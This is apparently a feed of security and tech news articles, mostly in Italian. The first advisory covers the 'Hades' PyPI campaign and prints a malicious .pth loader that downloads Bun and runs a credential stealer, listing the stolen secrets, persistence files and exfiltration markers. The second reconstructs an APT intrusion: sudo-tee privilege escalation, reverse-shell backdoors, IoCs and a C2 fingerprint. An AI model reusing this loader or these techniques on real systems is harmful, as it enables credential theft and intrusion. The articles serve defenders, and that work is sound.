(in)sicurezza digitale

2026-06-07 10:33:46

Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori

Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione

Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica

L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

• Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
• Localizza il payload _index.js nella directory del pacchetto
• Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
• Esegue bun run _index.js e scrive il sentinel

# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione

Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API

Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi

I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori

Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

Shai-Hulud Descends to Hades: Miasma Worm Campaign Spreads w...

Socket found 37 malicious PyPI wheels that abuse Python startup hooks to launch a Bun-powered credential stealer tied to Mini Shai-Hulud/Miasma.

^{Socket Research Team (Socket)}

(in)sicurezza digitale

2026-06-07 10:34:43

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite

Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)

VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata

In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365

Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale

Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD

BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni

Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori

Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

netzpolitik.org

2026-06-06 07:46:29

Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

Na, darfst du denn schon auf TikTok?

^{Chris Köver (netzpolitik.org)}

Spcnet.it

2026-06-06 08:57:37

Azure Container Linux su AKS: il sistema operativo immutabile e hardened di Microsoft per Kubernetes

A Microsoft Build 2026, Microsoft ha annunciato la disponibilità generale di Azure Container Linux (ACL), un sistema operativo immutabile e hardened progettato specificamente per i nodi di Azure Kubernetes Service (AKS). Contemporaneamente, è entrata in public preview Azure Linux 4.0, la prima distribuzione Linux server di Microsoft per ambienti cloud enterprise. Si tratta di un cambio di paradigma significativo nella gestione dell’infrastruttura Kubernetes: addio al configuration drift, benvenuta riproducibilità totale.

Perché un OS dedicato per Kubernetes?

Chiunque gestisca cluster Kubernetes in produzione conosce bene i problemi legati alla deriva della configurazione (configuration drift). I nodi Linux tradizionali — anche se avviati da un’immagine controllata — tendono ad accumulare modifiche nel tempo: aggiornamenti in-place, file di configurazione modificati manualmente, pacchetti installati per debugging, variazioni tra ambienti diversi. Il risultato è che due nodi teoricamente identici si comportano in modo differente, rendendo debugging e ripristino molto più complessi.

L’altro fronte critico è la superficie di attacco: un OS generalista porta con sé decine di pacchetti, servizi e porte che non hanno alcuna ragione di esistere su un nodo Kubernetes. Ogni componente non necessario è un potenziale vettore di compromissione.

Azure Container Linux nasce esattamente per risolvere entrambi i problemi.

Caratteristiche tecniche di Azure Container Linux

Sistema operativo immutabile basato su Flatcar

ACL è costruito a valle di Flatcar Container Linux, la distribuzione già nota per la sua architettura immutabile e orientata ai container. L’adozione di Flatcar come base garantisce compatibilità con l’ecosistema esistente e un design maturo e collaudato. Su ACL, il filesystem di sistema è montato in sola lettura: nessun processo, nemmeno con privilegi di root, può modificare il sistema operativo a runtime. Questo elimina alla radice la possibilità di configuration drift e rende ogni nodo perfettamente riproducibile.

Integrity Policy Enforcement (IPE)

Una delle innovazioni più rilevanti di ACL è l’integrazione del Linux Security Module IPE (Integrity Policy Enforcement). IPE verifica che solo i binari provenienti da volumi firmati e trusted possano essere eseguiti. Questo controllo si estende anche alle immagini container: grazie all’integrazione con dm-verity — il meccanismo di verifica crittografica a livello di blocco del kernel Linux — ogni layer dell’immagine container viene verificato rispetto a una firma digitale prima che qualsiasi binario al suo interno possa essere eseguito.

In pratica, anche se un attaccante riuscisse a inserire codice malevolo in un layer container o nel filesystem del nodo, IPE bloccherebbe l’esecuzione di qualsiasi binario non autorizzato. È un approccio defense-in-depth particolarmente efficace contro attacchi supply chain e compromissioni post-deployment.

Aggiornamenti tramite node image upgrade

Su un OS immutabile, gli aggiornamenti non avvengono con package manager tradizionali come apt o dnf. ACL si aggiorna esclusivamente tramite il meccanismo di node image upgrade di AKS: il nodo viene sostituito con una nuova immagine aggiornata, garantendo che lo stato di partenza sia sempre pulito e noto. Questo approccio elimina i problemi tipici degli aggiornamenti in-place e semplifica enormemente la gestione del ciclo di vita dei nodi.

Azure Linux 4.0: la distribuzione server di Microsoft

Parallelamente ad ACL, Microsoft ha annunciato la public preview di Azure Linux 4.0, una distribuzione Linux server progettata per ambienti Azure cloud su larga scala. Mentre ACL è ottimizzato per i nodi Kubernetes, Azure Linux 4.0 è pensato come base per workload generici su macchine virtuali Azure. Entrambe le distribuzioni condividono il core di Azure Linux, che fornisce coerenza e compatibilità con l’ecosistema Azure.

Come usare Azure Container Linux su AKS

ACL è disponibile come opzione di sistema operativo per i node pool di AKS. Per creare un cluster o un node pool con ACL, è sufficiente specificare AzureContainerLinux come OS SKU:

# Creare un nuovo cluster AKS con Azure Container Linux
az aks create \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-os-upgrade-channel NodeImage \
  --os-sku AzureContainerLinux \
  --generate-ssh-keys

# Aggiungere un node pool con ACL a un cluster esistente
az aks nodepool add \
  --resource-group myResourceGroup \
  --cluster-name myAKSCluster \
  --name acnodepool \
  --os-sku AzureContainerLinux

Il parametro --node-os-upgrade-channel NodeImage è consigliato per sfruttare appieno il modello di aggiornamento immutabile: AKS si occuperà automaticamente di sostituire i nodi con le versioni aggiornate dell’immagine OS.

Kubernetes 1.35 e Fleet Manager cross-cluster networking

Insieme all’annuncio di ACL, Microsoft Build 2026 ha portato altre novità rilevanti per AKS:

• Kubernetes 1.35 GA: la versione 1.35 è ora disponibile a livello generale su AKS e in fase di rollout in tutte le region.
• Azure Kubernetes Fleet Manager per cluster Arc-enabled (GA): gestione di flotte che includono cluster on-premises abilitati ad Azure Arc, con update, policy e placement da un singolo piano di controllo.
• Cross-cluster networking (preview): networking cross-cluster per Fleet Manager basato su Cilium gestito, con service discovery, policy enforcement e observability tramite eBPF.

Conclusione

Azure Container Linux è una risposta concreta ai problemi di sicurezza e riproducibilità dell’infrastruttura Kubernetes tradizionale. L’approccio immutabile, l’enforcement crittografico dei binari tramite IPE e dm-verity, e l’integrazione nativa con il ciclo di vita AKS lo rendono una scelta solida per chi gestisce workload critici in ambienti con requisiti di compliance (PCI-DSS, HIPAA, ISO 27001). Microsoft Build 2026 segna un momento importante per l’ecosistema AKS, con novità che coprono sicurezza OS, gestione multi-cluster e networking avanzato.

Fonte: Introducing Azure Container Linux (ACL) — Microsoft Community Hub | What’s new in AKS at Microsoft Build 2026

What's new in Azure Kubernetes Service at Microsoft Build 2026 | Microsoft Community Hub

A year ago, teams were still asking whether Kubernetes belonged anywhere near their AI workloads. That question has mostly been answered as the community...

^{coryskimming (TECHCOMMUNITY.MICROSOFT.COM)}

netzpolitik.org

2026-06-06 07:46:29

Na, darfst du denn schon auf TikTok? Alle reden über Social-Media-Verbote für Jugendliche. Wir reden lieber über die Alterskontrollen, die zwingend notwendig wären, um solche Verbote durchzusetzen.

Warum würden sie das Internet umkrempeln und warum läuft die Debatte jetzt so heiß? Die neuste Podcast-Folge Off/On mit @ckoever, @roofjoke und @sebmeineck.

netzpolitik.org/podcast/na-dar…

Na, darfst du denn schon auf TikTok?

^{Chris Köver (netzpolitik.org)}

Spcnet.it

2026-06-05 18:08:42

Microsoft Build 2026: sette modelli MAI frontier, Frontier Tuning e agenti enterprise

Al Microsoft Build 2026, tenutosi il 2 giugno a Fort Mason Center di San Francisco, Satya Nadella ha presentato MAI (Microsoft AI): una nuova famiglia di modelli frontier sviluppati internamente da Microsoft, progettati per carichi di lavoro enterprise con enfasi su efficienza hardware, sovranità dei dati e personalizzazione profonda. Sette modelli, tutti addestrati da zero, con capacità che spaziano dal ragionamento avanzato alla visione artificiale, dalla trascrizione vocale alla generazione.

La famiglia MAI: sette modelli addestrati da zero

A differenza dei modelli GPT che alimentano Copilot attraverso la partnership con OpenAI, i modelli MAI sono sviluppati interamente da Microsoft. La lineup comprende:

• MAI-Thinking-1: il modello di ragionamento di punta, con 35 miliardi di parametri attivi (architettura Mixture of Experts), finestra di contesto da 256K token. Progettato per task complessi di reasoning e coding, con performance comparabili a modelli di dimensioni maggiori sul mercato.
• MAI-Code: ottimizzato per la programmazione, con contesto da 200K token per ingerire interi codebase durante le sessioni di refactoring o analisi del codice.
• MAI-Vision: modello multimodale per l’elaborazione di immagini, video e testo in modo unificato.
• MAI Nano, Core e Pro: tre tier dimensionali ottimizzati rispettivamente per dispositivi on-device (NPU), server enterprise mid-tier e orchestrazione massiva multi-agente fino a 32 catene parallele.
• Modelli specializzati per trascrizione, sintesi vocale e altre attività di elaborazione audio-visiva.

Un differenziatore chiave è la co-progettazione hardware-software: i modelli MAI sono ottimizzati per girare sul chip Maia 200 di Microsoft, con un vantaggio significativo in termini di performance per watt rispetto alle soluzioni GPU tradizionali.

Frontier Tuning: personalizzazione profonda per l’enterprise

Oltre ai modelli base, Microsoft ha introdotto il Frontier Tuning, una metodologia che consente alle organizzazioni di addestrare versioni specializzate dei modelli MAI usando i propri dati operativi.

L’intuizione alla base è che il dato più prezioso non sono i corpora generali, ma le traiettorie reali degli agenti in esecuzione all’interno dell’organizzazione: i passi compiuti, le decisioni prese, i workflow completati. Questi dati permettono di creare modelli altamente specializzati che superano le alternative general-purpose sul dominio specifico, a una frazione del costo.

Un caso concreto già citato da Microsoft: McKinsey, dopo l’adozione del Frontier Tuning, ha ottenuto il tasso di successo più alto tra tutti i modelli testati, con una riduzione dei costi di circa 10 volte rispetto alle alternative.

Reinforcement Learning Environments (RLEs) per agenti specializzati

Microsoft ha introdotto anche gli RLE (Reinforcement Learning Environments): ambienti di addestramento che permettono di creare agenti altamente specializzati per task aziendali specifici. Gli RLE consentono di fare frontier tuning producendo modelli custom in grado di superare le alternative general-purpose rimanendo significativamente più efficienti in termini di costo.

Tra le partnership annunciate spicca quella con la Mayo Clinic, finalizzata allo sviluppo di un modello frontier specializzato per la sanità globale e la sicurezza dei pazienti.

Integrazione nell’ecosistema Microsoft

I modelli MAI non esistono come prodotto standalone: sono integrati trasversalmente nell’ecosistema Microsoft:

• GitHub Copilot: MAI-Code e MAI-Thinking-1 sono disponibili come provider nel menù di selezione modello di Copilot.
• Visual Studio e VS Code: integrazione nativa con il workflow di sviluppo, inclusi i Team Agents di Visual Studio 2026 (code reviewer, test architect, compliance officer come agenti persistenti dentro l’IDE).
• Azure AI Foundry: i modelli MAI sono accessibili tramite API con le stesse interfacce degli altri modelli hosted su Azure, facilitando la migrazione e l’integrazione.
• Windows Agent Framework: MAI Nano gira direttamente su dispositivi Windows 11 con NPU, abilitando AI on-device sotto i 200ms di latenza.

Trust, governance e sovranità dei dati

Un tema centrale del lancio è la fiducia enterprise. Ogni modello MAI viene distribuito con un trust rubric: un file di policy machine-readable che definisce cosa il modello può accedere, come gestisce i dati personali (PII) e a quali framework di compliance aderisce.

Questa separazione tra pesi del modello e vincoli operativi permette a settori regolamentati (banking, sanità, pubblica amministrazione) di deployare MAI con la certezza che il modello non esfiltrerà dati verso database esterni al tenant.

Sul fronte sicurezza applicativa, Microsoft ha presentato anche MXC (Managed Execution Containers): container integrati in Windows con policy-driven isolation per l’esecuzione sicura degli agenti, e Verity, uno strumento di governance per workflow agentici auditabili.

Prospettive per sviluppatori e sysadmin

Il lancio dei modelli MAI segna un cambio di strategia significativo per Microsoft: da puro distributore di capacità AI di terze parti (OpenAI) a produttore di modelli proprietari per scenari enterprise. Per i professionisti IT, le implicazioni pratiche più immediate sono:

• Disponibilità di un modello di ragionamento competitivo direttamente su Azure, senza dipendenza dalla roadmap OpenAI.
• Possibilità concreta di customizzare modelli su dati aziendali proprietari con garanzie di data sovereignty.
• Integrazione nativa nel toolchain già in uso (VS Code, GitHub, Azure) senza cambiamenti infrastrutturali.
• AI on-device su Windows 11 NPU per scenari a bassa latenza o con requisiti di privacy stringenti.

I modelli MAI sono disponibili in preview su Azure AI Foundry. Il Frontier Tuning è accessibile in anteprima per i clienti enterprise selezionati.

---

Fonte: Microsoft Build 2026 Blog · 4sysops · Windows News

Microsoft launches MAI frontier models and custom agents for enterprise workloads – 4sysops

Microsoft has introduced seven new MAI frontier models designed for image processing, transcription, voice generation, and reasoning. The lineup includes MAI Th

^{IT News (4sysops)}

Spcnet.it

2026-06-05 18:08:25

GitHub Copilot come agente di modernizzazione .NET: addio al .NET Upgrade Assistant

A Microsoft Build 2026, Microsoft ha confermato ufficialmente che il .NET Upgrade Assistant è deprecato. Al suo posto, il nuovo GitHub Copilot App Modernization diventa lo strumento di riferimento per migrare applicazioni .NET legacy verso versioni moderne del framework. Non si tratta di un semplice rebranding: il passaggio da un tool rule-based a un agente AI rappresenta un cambiamento di approccio profondo, con implicazioni pratiche significative per chi gestisce codebase enterprise datate.

Perché il .NET Upgrade Assistant non bastava più

Il .NET Upgrade Assistant, disponibile dalla versione 5 in poi, funzionava tramite un insieme di regole predefinite: identificava i pacchetti incompatibili, aggiornava i target framework, eseguiva trasformazioni note su file di configurazione. Questo approccio funzionava bene per migrazioni standard e poco complesse, ma mostrava i suoi limiti di fronte a pattern architetturali non canonici, codice con dipendenze circolari o applicazioni fortemente accoppiate a funzionalità specifiche di .NET Framework.

Un agente AI, invece, può leggere il contesto, comprendere l’intento del codice, gestire casi edge e iterare sugli errori di compilazione in modo autonomo — qualcosa che un sistema basato su regole non può fare per definizione.

Come funziona GitHub Copilot App Modernization

L’agente è integrato direttamente in Visual Studio 2026 (e Visual Studio 2022 versione 17.14.17 o superiore) e accessibile dalla palette dei comandi di GitHub Copilot. Il flusso di lavoro tipico è il seguente:

1. Si apre il progetto o la solution da migrare in Visual Studio.
2. Si avvia una conversazione con GitHub Copilot specificando l’obiettivo di modernizzazione (es. “migra questa applicazione ASP.NET MVC a .NET 10”).
3. L’agente analizza il codebase, identifica le dipendenze da aggiornare, le API deprecate e i pattern non compatibili.
4. Esegue le modifiche necessarie in autonomia, tenta la compilazione e, in caso di errori, itera per risolverli.
5. Il processo continua finché la compilazione non ha successo o finché non è necessario l’intervento umano.

Il punto chiave è l’iterazione automatica sugli errori di build: l’agente non si limita ad applicare una serie di patch e consegnare il risultato, ma verifica attivamente che il codice compili correttamente dopo ogni modifica, riprovando con approcci diversi in caso di fallimento.

Scenari di modernizzazione supportati

L’agente copre una gamma ampia di scenari di migrazione .NET:

Migrazione del framework target

Il caso d’uso principale è la migrazione da .NET Framework (4.x) a .NET 8, 9 o 10. L’agente supporta i seguenti tipi di applicazione:

• ASP.NET MVC e Web API: migrazione alla versione corrispondente in ASP.NET Core.
• Windows Forms e WPF: migrazione a .NET 8/9/10 mantenendo il runtime Windows.
• Azure Functions: aggiornamento al modello isolated worker process.
• Web Forms → Blazor: supporto in arrivo; sarà possibile migrare applicazioni Web Forms verso Blazor, che rappresenta il percorso di modernizzazione più naturale per questo stack.

Conversione SDK-style

Le applicazioni .NET Framework usano ancora i vecchi file .csproj in formato XML verboso. L’agente esegue la conversione al formato SDK-style, molto più compatto e leggibile, rimuovendo riferimenti espliciti a file, gestendo i PackageReference e allineando la struttura del progetto agli standard moderni.

Integrazione di .NET Aspire

Uno degli scenari più interessanti è l’integrazione di .NET Aspire in applicazioni esistenti. L’agente può aggiungere Aspire a un’applicazione legacy, configurando l’AppHost, i service discovery e i componenti di observability (OpenTelemetry, health checks) senza dover ripartire da zero. Per team che vogliono portare in produzione applicazioni cloud-ready mantenendo il codebase esistente, questo è un cambio significativo.

Aggiornamenti di librerie e pacchetti

